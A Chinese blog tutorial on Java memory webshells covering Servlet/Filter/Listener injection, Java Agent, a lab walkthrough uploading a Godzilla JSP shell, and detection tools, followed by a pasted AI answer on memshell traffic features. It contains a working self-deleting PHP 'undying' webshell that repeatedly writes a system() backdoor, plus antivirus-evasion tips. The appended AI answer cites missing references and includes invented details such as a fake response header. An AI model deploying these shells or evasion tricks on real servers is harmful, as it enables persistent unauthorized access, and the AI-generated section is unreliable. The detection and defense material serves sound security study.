Java内存马使用

Java内存马详解与实战使用

前置知识:

Java Web三大组件
在这里插入图片描述

Servlet

Servlet是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。Servlet 可以理解为某一个路径后续的业务处理逻辑。

Filter

Filter也称之为过滤器,可以动态地修改HttpServletRequest,HttpServletResponse中的头和数据。

Listener

Listener也称之为监听器,可以监听Application、Session和Request对象的创建、销毁事件,以及监听对其中添加、修改、删除属性事件,并自动执行自定义的功能。

一、什么是Java Agent内存马?

传统的 Webshell 后门,无论如何花费心思隐藏、如何变化,在现有的防御措施下都已经无法有效长期在目标系统内存留,防御措施简单列举:

  • 对于终端安全:有文件监控、防篡改、EDR;
  • 对于后门:有 Webshell 查杀、流量监测;
  • 对于网络层面:有防火墙防止反连、反向代理系统隐藏真实 IP;
  • 等等。

​ 目前主流的防御措施针对 Webshell 的静态检出率在 90% 以上,在部分环境下甚至完全无法落地,防御方可以做到快速应急响应。正因为这些限制,内存马技术得以诞生并快速发展,无文件攻击、内存 Webshell、进程注入等基于内存的攻击手段也受到了越来越多的师傅青睐,在实战环境中已占得一席之地。可以毫不夸张的说,内存马相关技术将会是未来渗透工程师必须要会使用的安全技术。

简单点来说就是无文件的webshell,传统的Webshell都是基于文件类型的,黑客可以利用上传工具或网站漏洞植入木马,但是Webshell内存马是无文件木马,是利用中间件的进程执行某些恶意代码,不会有文件落地,给检测带来巨大难度

Java Agent 内存马攻击是一种利用 Java Agent 动态修改字节码的方式,向目标 JVM 注入恶意代码,从而实现攻击的方式。

1、Java Agent(Java 内存马)

Java Agent 是什么?

Java Agent是Java平台提供的一种特殊机制,它允许开发者 在Java应用程序 (被jvm加载 / 正在被jvm运行) 注入我们指定的字节码。这种技术被广泛应用于 功能增强监控性能分析调试信息收集等多种场景 , Java Agent 依赖于 instrument 这个特殊的 JVMTIAgent(Linux下对应的动态库是libinstrument.so),还有个别名叫JPLISAgent(Java Programming Language Instrumentation Services Agent),专门为Java语言编写的插桩服务提供支持的, Java Agent有两种加载时机,分别是:

  1. 动态加载即 在JVM运行应用程序时任意时刻加载,在JVM运行时加载Agent,这通常通过使用JDK的Attach API实现(本质上是使用unix套接字实现了同一机器不同进程间的通信)。这要求Agent实现agentmain方法,该方法可以在java应用程序运行过程中任意时刻被调用。具体实现方式文字描述(后边我们会演示通过代码方式如何实现):
  2. 静态加载即 JVM启动时加载,在JVM启动时通过命令行参数-javaagent:path/to/youragent.jar指定Agent的 jar包。这要求Agent的入口类(即agent.jar包中的META-INF->MAINIFEST.MF文件中的Premain-Class对应的类)实现premain方法,该方法会在应用程序的main方法之前执行。这一机制使得我们可以修改应用程序的类或执行其他初始化任务,这种机制对于性能监控代码分析审计增强等场景非常有用
2、JVMTI(回调接口机制)

何为JVMTI?

JVMTI全称:(Java Virtual Machine Tool Interface) ,简单来说就是jvm暴露出来的一些供用户扩展的回调接口集合,有一点我们要知道,JVMTI是基于事件驱动的,JVM每执行到一定的逻辑就会调用一些事件对应的回调接口。而通过这个回调机制,我们实际上就可以 实现与JVM 的 “互动”。可不要小看这个回调机制,他是n多个框架的底层依赖,没有这个JVMTI回调机制,这些框架也许不能诞生或者需要使用其他更复杂的技术。

二、内存马的形式

在这里插入图片描述

目前分为三种:

  1. Servlet-API型
    通过命令执行等方式动态注册一个新的listener、filter或者servlet,从而实现命令执行等功能。特定框架、容器的内存马原理与此类似,如tomcat的valve内存马

    • filter型
    • servlet型
    • listener型
  2. 字节码增强型

    通过java的instrumentation动态修改已有代码,进而实现命令执行等功能。

  3. spring类

    • 拦截器
    • Controller型
  • 传统 Web 应用型内存马:使用基本 Servlet-API 实现的动态注册内存马,此种类型的内存马最经典,已经被扩展至适应各个中间件。
  • 框架型内存马:除了传统的 Servlet 项目,使用 Spring 全家桶进行开发的项目越来越多,而 Spring-MVC 则是自实现了相关路由注册查找逻辑,以及使用拦截器来进行过滤,思想上与 Servlet-Filter 的设计类似。
  • 中间件型内存马:在中间件的很多功能实现上,因为采用了类似 Filter-FilterChain 的职责链模式,可以被用来做内存马,由于行业对 Tomcat 的研究较多,因此大多数的技术实现和探究是针对 Tomcat 的,但其他中间件也有相当多的探究空间。
  • 其他内存马:还有一些其他非常规的利用思路,可以用在内存马的实现上,例如 WebSocket 协议等。
  • Agent 型内存马:利用 Java Agent 技术进行植入内存马逻辑的实现方式。

额外补充:PHP内存马(php不死马)

PHP内存马即PHP不死马,会无限在指定目录中生成webshell文件:

不死马.php -> 上传到server -> 执行不死马.php -> 循环生成一句话木马

<?php
  set_time_limit(0);
  ignore_user_abort(1);
  unlink(__FILE__);
  $content = '<?php @system($_GET["log"]); ?>';
  while (1) {
    if(!file_exists("log.php")){
        file_put_contents("log.php", $content);
    }
  	usleep(10000);
  }
?>
  1. ignore_user_abort(1); 该函数设置与客户机断开是否会终止脚本的执行。这里设置为true则忽略与用户的断开,即使与客户机断开脚本仍会执行。
  2. set_time_limit(0); 函数限制脚本的执行时间(如设置5则需在5秒内执行完)。这里设置为0是指没有时间限制。
  3. unlink(__FILE__);删除文件本身

免杀:字符串拼接、旋转、加密解密、自定义函数、异或操作、生成隐藏文件

三、内存马使用场景

使用场景,也是优点:

  1. 禁止外部连接,不能反弹shell只能正向木马的情况。由于网络原因不能反弹 shell 的
  2. 服务器上有防篡改、目录监控等防御措施,禁止写入文件的情况
  3. 不支持.jsp的文件解析的情况
  4. 内部主机通过反向代理暴露 Web 端口的
  5. 服务器上有其他监控手段,写马后会告警监控,人工响应的
  6. 服务使用 Springboot 等框架,无法解析传统 Webshell

内存马的缺点:

  • 服务重启后会失效;
  • 对于传统内存马,存在的位置相对固定,已经有相关的查杀技术可以检出

四、如何实现内存马的注入?

目标:注入内存马后,访问任意url或者指定url,带上命令执行参数,即可让服务器返回命令执行结果

实现:以java为例,客户端发起的web请求会依次经过ListenerFilterServlet三个组件,我们只要在这个请求的过程中做手脚,在内存中修改已有的组件或者动态注册一个新的组件,插入恶意的shellcode,就可以达到我们的目的

在这里插入图片描述

一些优秀的java内存马注入和利用工具:

tomcat内存马:(拿来即用的Tomcat7/8/9/10版本Listener/Filter/Servlet内存马,支持注入CMD内存马和冰蝎内存马)

java-memshell-generator(一款支持高度自定义的 Java 内存马生成工具)

五、实战Java内存马使用

环境部署

kali:192.168.91.129

centos7 :192.168.91.128 (部署lampp靶场环境)

哥斯拉工具:https://github.com/BeichenDream/Godzilla

命令行启动哥斯拉: java -jar godzilla.java

在这里插入图片描述
在这里插入图片描述

点击管理->生成:

密码和密钥使用默认,选择JAVA,如下:
在这里插入图片描述

启动lampp的靶场 ,选择任意文件上传

在这里插入图片描述
在这里插入图片描述

把生成的2.jsp木马传到靶场

(这里记得把/secenvs/dorabox/file_upload/upload/设置权限)
在这里插入图片描述

http://192.168.91.128/secenvs/dorabox/file_upload/upload/2.jsp

选择目标->添加。

右键选中添加即可
在这里插入图片描述

选中shell右键选择进入即可进入shell管理页面

在这里插入图片描述

防御

  1. 限制 Java Agent 的使用:限制 Java Agent 的使用权限,只允许可信的 Java Agent 运行。可以通过设置 JVM 参数 -javaagent 的值来限制 Java Agent 的使用,只接受指定的 Java Agent,或只允许在特定目录下的 Java Agent 运行。
  2. 使用安全的 Java Agent:使用经过安全审计的 Java Agent,避免使用来自不可信来源的 Java Agent。同时,可以对 Java Agent 进行数字签名和校验,确保 Java Agent 的完整性和可信性。
  3. 加强 JVM 安全性:通过限制 Java Agent 修改的字节码范围,限制 Java Agent 对 JVM 的操作权限,加强 JVM 的安全性。
  4. 定期检查和审计 Java Agent:定期检查和审计 Java Agent,确保 Java Agent 的安全性和合规性。同时,及时更新和升级 Java Agent,避免存在已知的漏洞和安全问题。
  5. 安装安全软件:安装安全软件,如杀毒软件、安全防火墙等,及时发现并阻止恶意代码的运行。

文件查杀
河马webshell查杀 HmSetup.exe
内存马检测思路
思路:
1、通过Java应用的接口,获取tomcat JVM里面加载的

2、遍历所有类,判断是否为风险类
1)内存注册,但是磁盘没有文件
2)class文件里面包含恶意内容

在线查杀

1、cop.jar

https://github.com/LandGrey/copagent

2、Arthas

https://github.com/alibaba/arthas

3、(java-memshell-scanner)通过jsp脚本扫描并查杀各类中间件内存马:

https://github.com/c0ny1/java-memshell-scanner

参考文章

Shell中的幽灵王者—JAVAWEB 内存马 【认知篇】:

https://zhuanlan.zhihu.com/p/590645237

Goby 利用内存马中的一些技术细节【技术篇】:

https://zhuanlan.zhihu.com/p/617733292

【入门到精通一口气学Java内存马】 :https://www.bilibili.com/video/BV1Rr42137XD/?p=6&share_source=copy_web&vd_source=81230f0706257e716e48fbf61f7e0bff

【内存马的形式】:https://cloud.tencent.com/developer/article/1763980

https://zhuanlan.zhihu.com/p/617733292

【入门到精通一口气学Java内存马】 :https://www.bilibili.com/video/BV1Rr42137XD/?p=6&share_source=copy_web&vd_source=81230f0706257e716e48fbf61f7e0bff

【内存马的形式】:https://cloud.tencent.com/developer/article/1763980

【内存马的攻防博弈之旅】:https://cloud.tencent.com/developer/article/1955132

<think>嗯,用户现在想了解Java内存的流量特征,用于检测和防御相关攻击。我得先回忆一下内存的基本概念。内存通常是无文件的,驻留在内存中,所以传统的文件查杀可能无效,这点引用[1]和[2]都有提到。用户之前可能已经了解过内存的基本原理,现在需要更深入的流量分析。 首先,内存的种类可能有几种,比如Filter型、Servlet型、Controller型,或者基于Agent的。每种类型的注入方式不同,可能影响流量特征。例如,Filter型可能会拦截特定请求,导致请求处理链路的异常,比如响应时间变长,或者路径映射异常。引用[5]提到微步在线的EDR检测JVM中的可疑Class,这可能和内存的注入方式有关,但用户关心的是流量层面。 接下来,流量特征方面,内存通常通过HTTP请求与攻击者交互。常见的特征可能包括固定的URL路径、特定的参数名称、异常的用户代理、或者加密的通信内容。比如,内存可能会使用固定的URI如“/cmd”来执行命令,参数可能带有“exec”、“cmd”等关键词。此外,流量中可能存在Base64编码或加密载荷,这会导致参数值长度异常或字符分布不符合常规。 另外,内存的响应特征也需要注意。比如,执行命令后的输出可能直接嵌入在HTTP响应中,没有正常的HTML结构,或者返回码与内容不符。例如,200状态码但返回内容是命令执行结果,这可能是个特征。 在检测方法上,除了静态规则匹配,还需要动态行为分析。比如,突然出现的高频访问特定路径,或者来自异常IP的请求。引用[5]提到EDR检测JVM中的类,但流量层可能需要结合这些行为分析。此外,内存可能使用长连接维持后门,导致连接持续时间长,心跳包规律性出现。 防御方面,除了流量检测,还需要结合内存检测,如引用[1]提到的遍历JVM加载的类,检查是否有风险类。同时,WAF可以设置规则拦截可疑参数,比如过滤exec这样的关键字,或者检测异常的编码方式。引用[3]提到主机层的防御可能无法识别Java层面的操作,所以流量层的防御尤为重要。 可能用户的实际需求是部署有效的检测机制,或者编写自定义的WAF规则。需要综合流量特征和行为分析,结合内存检测和主机监控,才能全面防御内存攻击。此外,引用[4]提到的Godzilla工具分析可能涉及解密流量,检测加密通信的模式也是一个方向。 总结一下,流量特征包括异常路径、特定参数、加密载荷、响应结构异常等。检测方法需要规则匹配、行为分析、加密流量解析。防御则需要多层防护,包括WAF、EDR、定期重启服务等。用户可能需要具体案例或配置示例,但根据问题,应集中在特征和检测防御方法上。</think>### Java内存流量特征及检测防御方法 Java内存通过无文件驻留内存实现攻击,其流量特征与传统Webshell有明显差异。以下是关键特征及检测防御方案: --- #### 一、典型流量特征 1. **异常URL路径特征** - 固定注入路径:如`/filterShell`、`/evilServlet`,常包含`shell`、`cmd`等关键词[^2][^4] - 动态路径映射:通过`addServlet()`等API动态注册路由,导致URL与正常业务无关联[^1] ```http POST /api/v1/cmd HTTP/1.1 # 可疑命令执行路径 ``` 2. **参数加密特征** - Base64嵌套编码:`cmd=Y21kLmV4ZQ==` -> 解码后为`cmd.exe` - 异或加密参数:参数值出现非标准字符分布(如`%7C%3B%26`高频出现)[^4] 3. **协议层异常** - 心跳维持长连接:固定间隔的`GET /healthcheck`请求维持内存存活 - 非常规HTTP方法:如`PROPFIND`、`DEBUG`等冷门方法调用[^5] 4. **响应特征** - 混合型响应体:正常HTML中嵌入`<%=Runtime.getRuntime().exec(request.getParameter("c"))%>`[^2] - 异常响应头:缺失`X-Content-Type-Options`等安全头,或出现自定义头如`X-Powered-By: JSPMemoryShell` --- #### 二、检测方案 1. **流量规则检测** ```yaml # WAF规则示例(OpenResty) location / { if ($args ~* "(cmd|exec|shell)") { return 403; } if ($request_uri ~* "(jsp|memory|agent)") { access_by_lua_block { ngx.exit(ngx.HTTP_FORBIDDEN) } } } ``` 2. **动态行为检测** - 请求关联分析:同一会话中先出现`ClassLoader.defineClass`相关流量,后续出现命令执行特征[^1][^5] - 熵值检测:使用信息熵算法识别加密参数(正常参数熵值<4.5,加密数据>6.0) 3. **内存专用检测工具** - 工具对比: | 工具名称 | 检测原理 | 适用场景 | |----------------|--------------------------|-----------------------| | Godzilla_Decode| 解密冰蝎等加密流量 | 攻防演练[^4] | | OneEDR | JVM类加载监控 | 企业生产环境[^5] | | Arthas | 动态跟踪Filter链 | 开发测试环境 | --- #### 三、防御体系 1. **网络层防御** - 强制TLS加密:使用SSL/TLS精细化管控,阻断未加密内存通信 - 流量镜像分析:通过`tcpdump`捕获异常JSON结构: ```json {"action":"inject","type":"filter","class":"EvilFilter"} ``` 2. **运行时防御** - 定期清理机制:通过Tomcat管理接口`/manager/text/list`验证Servlet数量[^1] - JVM沙箱防护:禁止高危类加载 ```java // Java SecurityManager策略 permission java.lang.RuntimePermission "defineClassInPackage.*"; ``` 3. **纵深防御架构** ``` [客户端] --> [WAF] --> [RASP] --> [容器] --> [EDR] |规则过滤| |行为阻断| |内存检测| ``` ---
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值